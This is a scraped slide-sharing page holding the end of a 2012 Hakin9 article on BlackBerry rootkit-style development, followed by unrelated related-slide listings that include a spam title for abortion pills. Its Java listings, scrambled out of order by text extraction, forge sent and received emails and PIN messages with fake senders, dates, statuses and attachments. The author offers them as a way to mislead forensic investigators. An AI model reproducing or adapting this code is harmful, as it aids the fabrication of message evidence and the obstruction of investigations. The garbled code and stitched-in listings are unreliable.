textfield.setLabel(“Mislead yourself via
BlackBerry Technology”);

add(textfield);

checkiButton = new ButtonField(ButtonField.

www.hakin9.org/en

{

if (field == checkoButton)

{

String res = “”;

boolean odelivered

= true;//false;
DELIVERED
“^_^”;

//MESSAGE WILL BE
String omessage =

75
Mobile Security

Listing 8b. MESSAGE MISLEADING
length() > 0)

//MESSAGE BODY

Address oaddress =

null;

from fextfield

try

{

alert(MisLeadSentPIN(tf.

MESSAGE BUILDER

getText()));

}

}

catch

(AddressException e)

{

length() > 0)

res +=

from textfield

MisLeadSentMessage(oaddress,
omessage, odelivered);

//EMAIL MESSAGE

}

MESSAGE BUIDLER
}

String res = “”;

{

//MESSAGE BODY

“^_^”;

try

{

= null;

iaddress

= new Address(“fake@ololo.com”,
“trololo friend”);

(AddressException e)
e.getMessage(); }

//

{ res +=

MESSAGE SENDER

}

76

String res = “”;

String imessage =

//MESSAGE BODY

Address iaddress

try

iaddress

//

}

(AddressException e)
e.getMessage(); }

{ res +=

res += MisLeadInbo

xMessageAttach(iaddress, imessage);

Dialog.

else if (field == checkpoButton)

{

}

catch

//EMAIL MESSAGE

alert(“Result for you :: “ + res);

Dialog.

//PIN

“trololo friend”);

res +=

BUILDER

{

= new Address(“fake@ololo.com”,

MisLeadInboxMessage(iaddress,
imessage);

//GET SENDER PIN

{

}

catch

if (tf.getText().

else if (field == checkiaButton)

String imessage =

Address iaddress =

SENDER ADDRESS

}

getText()));

else if (field == checkiButton)

null;

//PIN

alert(MisLeadInboxPIN(tf.

Dialog.alert(“Result for you :: “ + res);

“^_^”;

Dialog.

else if (field == checkpiButton)

{ res +=

e.getMessage(); }

{

{

//SET A

“trololo friend”);

BUILDER

//GET RECIPIENT PIN

oaddress

= new Address(“fake@ololo.com”,

NEW RECIPIENT

if (tf.getText().

BUIDLER

//EMAIL MESSAGE

Dialog.alert(“Result for you :: “ + res);
}

}

04/2012
Listing 8c. MESSAGE MISLEADING

message += e.getMessage();
msg.setSentDate(new Date(System.

static String MisLeadSentMessage(Address oaddress,

currentTimeMillis()));

String message, boolean delivered)

// ADD NEW TIME

//BUILDER OF SENT EMAIL MESSAGE
{

sentfolder.appendMessage(msg);

// ADD NEW EMAIL MESSAGE TO SENT FOLDER

String error_message = “”;

if (error_message.length() < 1) { error_

Store store = Session.

getDefaultInstance().getStore();

Folder[] folders = store.list(Folder.
SENT);

// RETRIVE A SENT FOLDER

Folder sentfolder = folders[0];

Message msg = new Message(sentfolder);
//CREATE a NEW MESSAGE IN SENT FOLDER

if (delivered) // CHECK DELIVERY STATUS

{

}

msg.setStatus(Message.Status.

TX_SENT, Message.Status.TX_SENT);

else

{

msg.setStatus(Message.Status.
msg.setFlag(Message.Flag.

OPENED, true);

// SET READ STATUS

}

Session session = null;
try

}

session = Session.

waitForDefaultSession();

catch (NoSuchServiceException e)

{ error_

message += e.getMessage(); }

INBOX);

//CREATE A NEW MESSAGE IN INBOX FOLDER
try

{

msg.setContent(message);

catch (NoSuchServiceException e)

{ error_

message += e.getMessage(); }

msg.setSentDate(new Date());
// ADD NEW DATE

catch (MessagingException e) { error_
message += e.getMessage();

Folder inbox = folders[0];

}

try

}

try

msg.setFrom(fromAddress);
//ADD A SENDER

msg.setStatus(Message.Status.RX_RECEIVED,
Message.Status.RX_RECEIVED);

//ADD A RECEIVED STATUS

msg.setSentDate(new Date(System.
currentTimeMillis()));

msg.setContent(message);
// ADD BODY

catch (MessagingException e) { error_

www.hakin9.org/en

String error_message = “”;

final Message msg = new Message(inbox);

// ADD SUBJECT TO EMAIL MESSAGES

}

ATTACHMENT

// ADD RECIPIENT

msg.setSubject(“subject”);

{

{

// RETRIVE AN INBOX FOLDER

message += e.getMessage();

}

fromAddress, String message)

//BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT

msg.addRecipient(Message.

catch (MessagingException e) { error_

{

static String MisLeadInboxMessage(Address

Folder[] folders = store.list(Folder.

RecipientType.TO, oaddress);
}

}

Store store = session.getStore();

try

{

message = “no_error”; }

return error_message;

{

TX_ERROR, Message.Status.TX_ERROR);

}

}

//ADD DATE’n’TIME

msg.setFlag(Message.Flag.REPLY_ALLOWED,
true);

msg.setInbound(true);

msg.setSubject(“subject”);

77
Mobile Security

Listing 8d. MESSAGE MISLEADING
//ADD A SUBJECT TO EMAIL MESSAGE
inbox.appendMessage(msg);

//ADD EMAIL MESSAGE TO THE INBOX FOLDER
if (error_message.length() < 1)

{

error_message = “no_error”;

}
}

}

static String MisLeadInboxPIN(String FakePIN)

//BUILDER OF RECEIVED PIN MESSAGE
{

String err = ““;

String error_message = “”;

return error_message;

Store store = Session.

getDefaultInstance().getStore();

Folder[] folders = store.list(Folder.

static String MisLeadSentPIN(String FakePIN)

INBOX);

//BUILDER OF SENT PIN MESSAGE
{

return err;

//RETRIEVE a PIN INBOX

FOLDER

Folder inboxfolder = folders[0];

String err = “”;

Message msg = new Message(inboxfolder);

String error_message = “”;

//CREATE A PIN MESSAGE IN THE INBOX

Store store = Session.

FOLDER

getDefaultInstance().getStore();

PINAddress recipients[] = new

SENT);

try

Folder[] folders = store.list(Folder.
//RETRIEVE a PIN SENT FOLDER

PINAddress[1];

{

Folder sentfolder = folders[0];

recipients[0]= new

Message msg = new Message(sentfolder);

PINAddress(FakePIN, “Robert”);

//CREATE A PIN MESSAGE IN THE SENT FOLDER

PINAddress recipients[] = new
try

}

PINAddress[1];

{

catch (Exception e)

{

PINAddress(FakePIN, “Robert”);
NAME

try

RecipientType.TO, recipients);

//ADD RECIPIENTS TO PIN STRUCTURE
msg.setSubject(“SUBJ”);

//ADD A SUBJECT

e.getMessage(); }

msg.setContent(“BODY”);

//ADD A BODY

msg.setStatus(Message.Status.

msg.addRecipients(Message.

RX_RECEIVED, Message.Status.RX_

RecipientType.TO, recipients);

RECEIVED);

//ADD RECIPIENTS TO PIN

//ADD A RECEIVED STATUS

STRUCTURE

inboxfolder.appendMessage(msg);

msg.setSubject(“SUBJ”);
//ADD A SUBJECT

}

msg.setContent(“BODY”);

//PUT MESSAGE INTO INBOX FOLDER

catch (Exception e)

//ADD A BODY

e.getMessage();

msg.setStatus(Message.Status.

TX_SENT, Message.Status.TX_SENT);

}

msg.addRecipients(Message.

//ADD RECIPIENT BY PIN and

catch (Exception e) { err +=

{

{ err +=

e.getMessage();

try

recipients[0]= new

}

//ADD RECIPIENT BY PIN and NAME

return err;

{ err +=

}

//ADD A SENT STATUS

}

//PUT MESSAGE INTO SENT FOLDER

static String MisLeadInboxMessageAttach(Address

sentfolder.appendMessage(msg);
}

catch (Exception e) { err +=
e.getMessage(); }

78

fromAddress, String message)

//BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT
{

04/2012
Listing 8e. MESSAGE MISLEADING

try

String error_message = “”;

{

Session session = null;
try

{

getMIMEType(fullname1);

//ADD ATTACHMENT

session = Session.

WITH CORRECT FILE TYPE

waitForDefaultSession();

}

catch (NoSuchServiceException e)

}

catch (Exception e) { error_

{ error_

message += e.getMessage(); }

Store store = session.getStore();

Folder[] folders = store.list(Folder.
INBOX);

// RETRIVE AN INBOX FOLDER

}

finally

try

msg.setContent(message);

}

catch (MessagingException e)

{ error_

message += e.getMessage(); }

msg.setFrom(fromAddress);
//ADD A SENDER

name-$$”, data);

multipart.addBodyPart(attach);
data = readFile(fullname2);
mtype = “”;
try

{

//ADD A RECEIVED STATUS

getMIMEType(fullname2);

currentTimeMillis()));

//ADD ATTACHMENT

//ADD DATE’n’TIME

WITH CORRECT FILE TYPE

msg.setFlag(Message.Flag.REPLY_ALLOWED,

}

true);

catch (Exception e)

msg.setInbound(true);

{

msg.setSubject(“subject”);

//ADD A SUBJECT TO EMAIL MESSAGE

e.getMessage();

String fullname1 = “file:///SDCard/bin/

}

String fullname2 = “file:///SDCard/bin/

{

//CALL YOUR OWN READ METHOD TO GET
ATTACHMENT DATA

Multipart multipart = new Multipart();

SupportedAttachmentPart attach = null;
String mtype = “”;
{

try

www.hakin9.org/en

error_message +=

}

finally

//SET PATH OF EXECUTION FILE

data = readFile(fullname1);

mtype

= MIMETypeAssociations.

msg.setSentDate(new Date(System.

byte[] data = new byte[256];

try

{

Message.Status.RX_RECEIVED);

BlackBerryKit_1.cod”;

//ADD A FAKE ATTACHMENT NAME

}

msg.setStatus(Message.Status.RX_RECEIVED,

BlackBerryKit_1.jad”;

attach = new SupportedAttach

mentPart(multipart, mtype, “file-

final Message msg = new Message(inbox);

//CREATE A NEW MESSAGE IN INBOX FOLDER

message += e.getMessage(); }

{

Folder inbox = folders[0];

{

mtype

= MIMETypeAssociations.

attach = new SupportedAttach

mentPart(multipart, mtype, “filename-$$$”, data);
}

//ADD A FAKE ATTACHMENT NAME

multipart.addBodyPart(attach);
try

{
}

msg.setContent(multipart);

catch (MessagingException e)

79
Mobile Security

Listing 8f. MESSAGE MISLEADING
{

}

data = IOUtilities.

}

error_message +=

streamToBytes(is);

catch (IOException e)

e.getMessage();

finally

//ADD A FAKE ATTACHMENT

{

inbox.appendMessage(msg);

try

//PUT AN EMAIL MESSAGE WITH ATTACHMENT TO INBOX FOLDER

{

if (error_message.length() < 1)

{
}
}

error_message = “no_error”;

is.close();

return error_message;

if (null != fconn)

close();

FileConnection fconn = null;

}

DataInputStream is = null;

}

is = fconn.

the previous location, so it is a kind of timeline (Figure
21 and Listing 8).

Conclusion

These two articles describe how anyone could easily
develop malware or a security application to manage

{

Dialog.alert(e.getMessage()); }

return data;

fconn = (FileConnection) Connector.

openDataInputStream();

fconn.

}

catch (IOException e)

try

open(FullName, Connector.READ);

}
{

byte[] data = null;

{

if (null != is)

{

public static byte[] readFile(String FullName)
{

{ Dialog.alert(e.

getMessage()); }

}

}

with other vulnerabilities. These highlighted points are
very actual because some of them take advantage of
old security issues and concepts from DOS, UNIX and
other OSs.

Yury Chemerkin

Figure 21. ScreenShot of BlackBerry Map

80

Graduated at Russian State University for the Humanities
(http://rggu.com/) in 2010. At present, postgraduate at RSUH.
Information Security Researcher since 2009 and currently
works as mobile and social information security researcher in
Moscow. Experienced in Reverse Engineering, Software Programming, Cyber & Mobile Security Researching, Documentation, and Security Writing as regular contributor. Now researching Cloud Security and Social Privacy.
Contacts: I have a lot of social contacts, that’s way you’re able
to choose the most suitable way for you.
Regular blog: http://security-through-obscurity.blogspot.com
Regular Email: yury.chemerkin@gmail.com
Skype: yury.chemerkin
Other my contacts (blogs, IM, social networks) you’ll find
among http links and social icons before TimeLine section on
Re.Vu: http://re.vu/yury.chemerkin

04/2012
The last exploitation

The last exploitation covers so-called message misleading discussed in one of my previous articles. I recall some ideas and
present code that attempts to cover all entry points and can
be easily adapted for testing. RIM API has ability to create PIN

mail service. What are the goals you gain by implementing
these ideas? Maybe you would like to build steganography,
maybe you have to make a lot of fake message with fake interaction graphs to perplex forensic investigating or maybe
something else – it is all up to you (Figure 22-Figure 25).

Figure 22. Sent Email Message

Figure 24. Pin-to-PIN Message with Error Status

Figure 23. Received Email Message with attach

Figure 25. Pin-to-PIN Message with Sent Status

and e-mail with any possible parameters like their type as incoming, outgoing, received, sent, draft, etc. and their status
(read, unread, error while sent, etc.). You may set your own
date, list of recipients, subjects, body, attachments. Note that
not one of these messages will synchronize with your real e-

On the Net

• 	 http://forum.drweb.com/index.php?showtopic=302926 – New Trojan horse for Android spreads with Angry Birds Rio Unlock,
Dr.Web
• 	 http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ – Researching
for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University
• 	 http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ – Geinimi Trojan Technical Analysis,
• 	 http://www.informationweek.com/news/security/mobile/231001685 – Zitmo Banking Trojan
• 	 http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data – OddJob
bank trojan
• 	 http://www.elcomsoft.com/ebbe.html – Elcomsoft Blackberry Backup Explorer

www.hakin9.org/en

81

Mais conteúdo relacionado

Mais procurados

An overview study on cyber crimes in internet
An overview study on cyber crimes in internetAn overview study on cyber crimes in internet
An overview study on cyber crimes in internet
Alexander Decker
 
Web Server Security Guidelines
Web Server Security GuidelinesWeb Server Security Guidelines
Web Server Security Guidelines
webhostingguy
 
Sip 140208055023-phpapp02
Sip 140208055023-phpapp02Sip 140208055023-phpapp02
Sip 140208055023-phpapp02
mark scott
 

Mais procurados (19)

Hacking 1224807880385377-9
Hacking 1224807880385377-9Hacking 1224807880385377-9
Hacking 1224807880385377-9
 
Botnets
BotnetsBotnets
Botnets
 
All you know about Botnet
All you know about BotnetAll you know about Botnet
All you know about Botnet
 
Securing Internet communications end-to-end with the DANE protocol
Securing Internet communications end-to-end with the DANE protocolSecuring Internet communications end-to-end with the DANE protocol
Securing Internet communications end-to-end with the DANE protocol
 
Lock It Down, Keep It Safe
Lock It Down, Keep It SafeLock It Down, Keep It Safe
Lock It Down, Keep It Safe
 
Ethical Hacking
Ethical HackingEthical Hacking
Ethical Hacking
 
An overview study on cyber crimes in internet
An overview study on cyber crimes in internetAn overview study on cyber crimes in internet
An overview study on cyber crimes in internet
 
Web Server Security Guidelines
Web Server Security GuidelinesWeb Server Security Guidelines
Web Server Security Guidelines
 
Study on Phishing Attacks and Antiphishing Tools
Study on Phishing Attacks and Antiphishing ToolsStudy on Phishing Attacks and Antiphishing Tools
Study on Phishing Attacks and Antiphishing Tools
 
Sip 140208055023-phpapp02
Sip 140208055023-phpapp02Sip 140208055023-phpapp02
Sip 140208055023-phpapp02
 
Web security
Web securityWeb security
Web security
 
Web security ppt sniper corporation
Web security ppt   sniper corporationWeb security ppt   sniper corporation
Web security ppt sniper corporation
 
Web phish detection (an evolutionary approach)
Web phish detection (an evolutionary approach)Web phish detection (an evolutionary approach)
Web phish detection (an evolutionary approach)
 
Web phish detection (an evolutionary approach)
Web phish detection (an evolutionary approach)Web phish detection (an evolutionary approach)
Web phish detection (an evolutionary approach)
 
Botnet
BotnetBotnet
Botnet
 
Web security
Web securityWeb security
Web security
 
Web security
Web securityWeb security
Web security
 
Botnet
Botnet Botnet
Botnet
 
A review botnet detection and suppression in clouds
A review botnet detection and suppression in cloudsA review botnet detection and suppression in clouds
A review botnet detection and suppression in clouds
 

Destaque

(Pptx) yury chemerkin hacker_halted_2013
(Pptx) yury chemerkin hacker_halted_2013(Pptx) yury chemerkin hacker_halted_2013
(Pptx) yury chemerkin hacker_halted_2013
STO STRATEGY
 
(Pdf) yury chemerkin intelligence_sec_2013
(Pdf) yury chemerkin intelligence_sec_2013(Pdf) yury chemerkin intelligence_sec_2013
(Pdf) yury chemerkin intelligence_sec_2013
STO STRATEGY
 
Conventions of thriller genre
Conventions of thriller genreConventions of thriller genre
Conventions of thriller genre
gmisso33
 
Music documentary conventions
Music documentary conventionsMusic documentary conventions
Music documentary conventions
gmisso33
 
Interview with yury chemerkin
Interview with yury chemerkinInterview with yury chemerkin
Interview with yury chemerkin
STO STRATEGY
 
Textual analysis of the hurt locker
Textual analysis of the hurt lockerTextual analysis of the hurt locker
Textual analysis of the hurt locker
gmisso33
 

Destaque (16)

Cosas antiguas
Cosas antiguasCosas antiguas
Cosas antiguas
 
(Pptx) yury chemerkin hacker_halted_2013
(Pptx) yury chemerkin hacker_halted_2013(Pptx) yury chemerkin hacker_halted_2013
(Pptx) yury chemerkin hacker_halted_2013
 
(Pdf) yury chemerkin intelligence_sec_2013
(Pdf) yury chemerkin intelligence_sec_2013(Pdf) yury chemerkin intelligence_sec_2013
(Pdf) yury chemerkin intelligence_sec_2013
 
Conventions of thriller genre
Conventions of thriller genreConventions of thriller genre
Conventions of thriller genre
 
Informatica
InformaticaInformatica
Informatica
 
Teknologi Inovasi Cheryl Ariella Wijaya
Teknologi Inovasi Cheryl Ariella WijayaTeknologi Inovasi Cheryl Ariella Wijaya
Teknologi Inovasi Cheryl Ariella Wijaya
 
Music documentary conventions
Music documentary conventionsMusic documentary conventions
Music documentary conventions
 
Interview with yury chemerkin
Interview with yury chemerkinInterview with yury chemerkin
Interview with yury chemerkin
 
Resume
ResumeResume
Resume
 
Una sonrisa
Una sonrisaUna sonrisa
Una sonrisa
 
Презентация игрового приложения для инвесторов
Презентация игрового приложения для инвесторовПрезентация игрового приложения для инвесторов
Презентация игрового приложения для инвесторов
 
NU Research Report #1
NU Research Report #1NU Research Report #1
NU Research Report #1
 
ImagineWall from Soloten
ImagineWall from SolotenImagineWall from Soloten
ImagineWall from Soloten
 
เครื่องสำอาง etude ปลอมอันตรายต่อผิว และ สุขภาพ
เครื่องสำอาง etude ปลอมอันตรายต่อผิว และ สุขภาพเครื่องสำอาง etude ปลอมอันตรายต่อผิว และ สุขภาพ
เครื่องสำอาง etude ปลอมอันตรายต่อผิว และ สุขภาพ
 
Filtros bubba filters
Filtros bubba filtersFiltros bubba filters
Filtros bubba filters
 
Textual analysis of the hurt locker
Textual analysis of the hurt lockerTextual analysis of the hurt locker
Textual analysis of the hurt locker
 

Semelhante a When developers api simplify user mode rootkits development – part ii

Ne Course Part One
Ne Course Part OneNe Course Part One
Ne Course Part One
backdoor
 
Ransomware Trends 2017 & Mitigation Techniques
Ransomware Trends 2017 & Mitigation TechniquesRansomware Trends 2017 & Mitigation Techniques
Ransomware Trends 2017 & Mitigation Techniques
Avinash Sinha
 
IQT 2010 - The App Does That!?
IQT 2010 - The App Does That!?IQT 2010 - The App Does That!?
IQT 2010 - The App Does That!?
Tyler Shields
 
Computer Secutity.
Computer Secutity.Computer Secutity.
Computer Secutity.
angelaag98
 

Semelhante a When developers api simplify user mode rootkits development – part ii (20)

Lecture about network and host security to NII students
Lecture about network and host security to NII studentsLecture about network and host security to NII students
Lecture about network and host security to NII students
 
ransomware keylogger rootkit.pptx
ransomware keylogger rootkit.pptxransomware keylogger rootkit.pptx
ransomware keylogger rootkit.pptx
 
Meet the potnet - AboutAndroid | Malware Analysis Report
Meet the potnet - AboutAndroid | Malware Analysis ReportMeet the potnet - AboutAndroid | Malware Analysis Report
Meet the potnet - AboutAndroid | Malware Analysis Report
 
Ne Course Part One
Ne Course Part OneNe Course Part One
Ne Course Part One
 
The Rise of Ransomware
The Rise of RansomwareThe Rise of Ransomware
The Rise of Ransomware
 
HinDroid
HinDroidHinDroid
HinDroid
 
Report of android hacking
Report of android hackingReport of android hacking
Report of android hacking
 
Mcs2453 aniq mc101053-assignment1
Mcs2453 aniq mc101053-assignment1Mcs2453 aniq mc101053-assignment1
Mcs2453 aniq mc101053-assignment1
 
Mobile security
Mobile securityMobile security
Mobile security
 
Ch02 System Threats and Risks
Ch02 System Threats and RisksCh02 System Threats and Risks
Ch02 System Threats and Risks
 
Symantec White Paper: W32.Ramnit Analysis
Symantec White Paper: W32.Ramnit AnalysisSymantec White Paper: W32.Ramnit Analysis
Symantec White Paper: W32.Ramnit Analysis
 
Meeting02_RoT.pptx
Meeting02_RoT.pptxMeeting02_RoT.pptx
Meeting02_RoT.pptx
 
When developer's api simplify user mode rootkits developing.
When developer's api simplify user mode rootkits developing.When developer's api simplify user mode rootkits developing.
When developer's api simplify user mode rootkits developing.
 
RRB JE Stage 2 Computer and Applications Questions Part 5
RRB JE Stage 2 Computer and Applications Questions Part 5RRB JE Stage 2 Computer and Applications Questions Part 5
RRB JE Stage 2 Computer and Applications Questions Part 5
 
Introduction To Information Security
Introduction To Information SecurityIntroduction To Information Security
Introduction To Information Security
 
Android malware presentation
Android malware presentationAndroid malware presentation
Android malware presentation
 
Ransomware Trends 2017 & Mitigation Techniques
Ransomware Trends 2017 & Mitigation TechniquesRansomware Trends 2017 & Mitigation Techniques
Ransomware Trends 2017 & Mitigation Techniques
 
IQT 2010 - The App Does That!?
IQT 2010 - The App Does That!?IQT 2010 - The App Does That!?
IQT 2010 - The App Does That!?
 
News bytes Sept-2011
News bytes Sept-2011News bytes Sept-2011
News bytes Sept-2011
 
Computer Secutity.
Computer Secutity.Computer Secutity.
Computer Secutity.
 

Mais de STO STRATEGY

(Pdf) yury chemerkin hackfest.ca_2013
(Pdf) yury chemerkin hackfest.ca_2013(Pdf) yury chemerkin hackfest.ca_2013
(Pdf) yury chemerkin hackfest.ca_2013
STO STRATEGY
 
(Pdf) yury chemerkin hacktivity_2013
(Pdf) yury chemerkin hacktivity_2013(Pdf) yury chemerkin hacktivity_2013
(Pdf) yury chemerkin hacktivity_2013
STO STRATEGY
 
(Pdf) yury chemerkin _ita_2013 proceedings
(Pdf) yury chemerkin _ita_2013 proceedings(Pdf) yury chemerkin _ita_2013 proceedings
(Pdf) yury chemerkin _ita_2013 proceedings
STO STRATEGY
 
(Pdf) yury chemerkin ita_2013
(Pdf) yury chemerkin ita_2013(Pdf) yury chemerkin ita_2013
(Pdf) yury chemerkin ita_2013
STO STRATEGY
 
(Pdf) yury chemerkin deep_intel_2013
(Pdf) yury chemerkin deep_intel_2013(Pdf) yury chemerkin deep_intel_2013
(Pdf) yury chemerkin deep_intel_2013
STO STRATEGY
 
(Pdf) yury chemerkin balccon_2013
(Pdf) yury chemerkin balccon_2013(Pdf) yury chemerkin balccon_2013
(Pdf) yury chemerkin balccon_2013
STO STRATEGY
 
(Pdf) yury chemerkin _ath_con_2013
(Pdf) yury chemerkin _ath_con_2013(Pdf) yury chemerkin _ath_con_2013
(Pdf) yury chemerkin _ath_con_2013
STO STRATEGY
 
(Pdf) yury chemerkin def_con_2013
(Pdf) yury chemerkin def_con_2013(Pdf) yury chemerkin def_con_2013
(Pdf) yury chemerkin def_con_2013
STO STRATEGY
 
(Pdf) yury chemerkin _i-society_2013
(Pdf) yury chemerkin _i-society_2013(Pdf) yury chemerkin _i-society_2013
(Pdf) yury chemerkin _i-society_2013
STO STRATEGY
 
(Pdf) yury chemerkin _i-society-2013 proceedings
(Pdf) yury chemerkin _i-society-2013 proceedings(Pdf) yury chemerkin _i-society-2013 proceedings
(Pdf) yury chemerkin _i-society-2013 proceedings
STO STRATEGY
 
(Pdf) yury chemerkin _confidence_2013
(Pdf) yury chemerkin _confidence_2013(Pdf) yury chemerkin _confidence_2013
(Pdf) yury chemerkin _confidence_2013
STO STRATEGY
 
(Pdf) yury chemerkin _null_con_2013
(Pdf) yury chemerkin _null_con_2013(Pdf) yury chemerkin _null_con_2013
(Pdf) yury chemerkin _null_con_2013
STO STRATEGY
 
(Pdf) yury chemerkin _icitst_2012
(Pdf) yury chemerkin _icitst_2012(Pdf) yury chemerkin _icitst_2012
(Pdf) yury chemerkin _icitst_2012
STO STRATEGY
 
Yury chemerkin _cyber_crime_forum_2012
Yury chemerkin _cyber_crime_forum_2012Yury chemerkin _cyber_crime_forum_2012
Yury chemerkin _cyber_crime_forum_2012
STO STRATEGY
 
(Pdf) yury chemerkin info_securityrussia_2011
(Pdf) yury chemerkin info_securityrussia_2011(Pdf) yury chemerkin info_securityrussia_2011
(Pdf) yury chemerkin info_securityrussia_2011
STO STRATEGY
 
Pen test career. how to begin
Pen test career. how to beginPen test career. how to begin
Pen test career. how to begin
STO STRATEGY
 
State of art of mobile forensics
State of art of mobile forensicsState of art of mobile forensics
State of art of mobile forensics
STO STRATEGY
 
AWS Security Challenges
AWS Security ChallengesAWS Security Challenges
AWS Security Challenges
STO STRATEGY
 
Blackberry playbook – new challenges
Blackberry playbook – new challengesBlackberry playbook – new challenges
Blackberry playbook – new challenges
STO STRATEGY
 
Social network privacy.
Social network privacy.Social network privacy.
Social network privacy.
STO STRATEGY
 

Mais de STO STRATEGY (20)

(Pdf) yury chemerkin hackfest.ca_2013
(Pdf) yury chemerkin hackfest.ca_2013(Pdf) yury chemerkin hackfest.ca_2013
(Pdf) yury chemerkin hackfest.ca_2013
 
(Pdf) yury chemerkin hacktivity_2013
(Pdf) yury chemerkin hacktivity_2013(Pdf) yury chemerkin hacktivity_2013
(Pdf) yury chemerkin hacktivity_2013
 
(Pdf) yury chemerkin _ita_2013 proceedings
(Pdf) yury chemerkin _ita_2013 proceedings(Pdf) yury chemerkin _ita_2013 proceedings
(Pdf) yury chemerkin _ita_2013 proceedings
 
(Pdf) yury chemerkin ita_2013
(Pdf) yury chemerkin ita_2013(Pdf) yury chemerkin ita_2013
(Pdf) yury chemerkin ita_2013
 
(Pdf) yury chemerkin deep_intel_2013
(Pdf) yury chemerkin deep_intel_2013(Pdf) yury chemerkin deep_intel_2013
(Pdf) yury chemerkin deep_intel_2013
 
(Pdf) yury chemerkin balccon_2013
(Pdf) yury chemerkin balccon_2013(Pdf) yury chemerkin balccon_2013
(Pdf) yury chemerkin balccon_2013
 
(Pdf) yury chemerkin _ath_con_2013
(Pdf) yury chemerkin _ath_con_2013(Pdf) yury chemerkin _ath_con_2013
(Pdf) yury chemerkin _ath_con_2013
 
(Pdf) yury chemerkin def_con_2013
(Pdf) yury chemerkin def_con_2013(Pdf) yury chemerkin def_con_2013
(Pdf) yury chemerkin def_con_2013
 
(Pdf) yury chemerkin _i-society_2013
(Pdf) yury chemerkin _i-society_2013(Pdf) yury chemerkin _i-society_2013
(Pdf) yury chemerkin _i-society_2013
 
(Pdf) yury chemerkin _i-society-2013 proceedings
(Pdf) yury chemerkin _i-society-2013 proceedings(Pdf) yury chemerkin _i-society-2013 proceedings
(Pdf) yury chemerkin _i-society-2013 proceedings
 
(Pdf) yury chemerkin _confidence_2013
(Pdf) yury chemerkin _confidence_2013(Pdf) yury chemerkin _confidence_2013
(Pdf) yury chemerkin _confidence_2013
 
(Pdf) yury chemerkin _null_con_2013
(Pdf) yury chemerkin _null_con_2013(Pdf) yury chemerkin _null_con_2013
(Pdf) yury chemerkin _null_con_2013
 
(Pdf) yury chemerkin _icitst_2012
(Pdf) yury chemerkin _icitst_2012(Pdf) yury chemerkin _icitst_2012
(Pdf) yury chemerkin _icitst_2012
 
Yury chemerkin _cyber_crime_forum_2012
Yury chemerkin _cyber_crime_forum_2012Yury chemerkin _cyber_crime_forum_2012
Yury chemerkin _cyber_crime_forum_2012
 
(Pdf) yury chemerkin info_securityrussia_2011
(Pdf) yury chemerkin info_securityrussia_2011(Pdf) yury chemerkin info_securityrussia_2011
(Pdf) yury chemerkin info_securityrussia_2011
 
Pen test career. how to begin
Pen test career. how to beginPen test career. how to begin
Pen test career. how to begin
 
State of art of mobile forensics
State of art of mobile forensicsState of art of mobile forensics
State of art of mobile forensics
 
AWS Security Challenges
AWS Security ChallengesAWS Security Challenges
AWS Security Challenges
 
Blackberry playbook – new challenges
Blackberry playbook – new challengesBlackberry playbook – new challenges
Blackberry playbook – new challenges
 
Social network privacy.
Social network privacy.Social network privacy.
Social network privacy.
 

Último

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Último (20)

Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
